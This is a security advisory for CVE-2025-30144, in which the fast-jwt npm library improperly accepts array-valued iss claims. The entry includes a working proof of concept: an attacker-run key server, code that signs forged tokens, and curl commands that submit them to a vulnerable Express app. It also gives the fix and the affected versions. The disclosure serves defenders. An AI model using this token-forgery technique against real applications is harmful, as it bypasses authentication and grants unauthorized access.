NetSight
medium6.5

CVE-2025-30144

Fast-JWT Improperly Validates iss Claims

Impact

### Summary The `fast-jwt` library does not properly validate the `iss` claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9. #### Details The `iss` (issuer) claim validation within the fast-jwt library permits an array of strings as a valid `iss` value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an `iss` claim structured as `['https://attacker-domain/', 'https://valid-iss']`. Due to the permissive validation, the JWT will be deemed valid. Furthermore, if the application relies on external libraries like `get-jwks` that do not independently validate the `iss` claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the `iss` array, alongside the legitimate issuer, and bypass the intended security checks. #### PoC Take a server running the following code: ```js const express = require('express') const buildJwks = require('get-jwks') const { createVerifier } = require('fast-jwt') const jwks = buildJwks({ providerDiscovery: true }); const keyFetcher = async (jwt) => jwks.getPublicKey({ kid: jwt.header.kid, alg: jwt.header.alg, domain: jwt.payload.iss }); const jwtVerifier = createVerifier({ key: keyFetcher, allowedIss: 'https://valid-iss', }); const app = express(); const port = 3000; app.use(express.json()); async function verifyToken(req, res, next) { const headerAuth = req.headers.authorization.split(' ') let token = ''; if (headerAuth.length > 1) { token = headerAuth[1]; } const payload = await jwtVerifier(token); req.decoded = payload; next(); } // Endpoint to check if you are auth or not app.get('/auth', verifyToken, (req, res) => { res.json(req.decoded); }); app.listen(port, () => { console.log(`Server is running on port ${port}`); }); ``` Now we build a server that will be used to generate the JWT token and send the verification keys to the victim server: ```js const { generateKeyPairSync } = require('crypto'); const express = require('express'); const pem2jwk = require('pem2jwk'); const jwt = require('jsonwebtoken'); const app = express(); const port = 3001; const host = `http://localhost:${port}/`; const { publicKey, privateKey } = generateKeyPairSync("rsa", { modulusLength: 4096, publicKeyEncoding: { type: 'pkcs1', format: 'pem' }, privateKeyEncoding: { type: 'pkcs1', format: 'pem' }, }, ); const jwk = pem2jwk(publicKey); app.use(express.json()); // Endpoint to create token app.post('/create-token', (req, res) => { const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'], }, privateKey, { algorithm: 'RS256' }); res.send(token); }); app.get('/.well-known/jwks.json', (req, res) => { return res.json({ keys: [{ ...jwk, alg: 'RS256', use: 'sig', }] }); }) app.all('*', (req, res) => { return res.json({ "issuer": host, "jwks_uri": host + '.well-known/jwks.json' }); }); app.listen(port, () => { console.log(`Server is running on port ${port}`); }); ``` ```bash export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}') curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN" ``` #### Impact Applications relaying on the validation of the `iss` claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier. #### Solution Change https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.

Affected packages

EcosystemPackageAffectedFixed in
npmfast-jwt< 5.0.65.0.6

Affected products

ProductAffected versions
Fast-Jwt Provides Fast JSON Web Token (JWT) Implementation.
before 5.0.6

Versions were read from the advisory text. No structured product data has been published for this record yet.

Weakness classification

References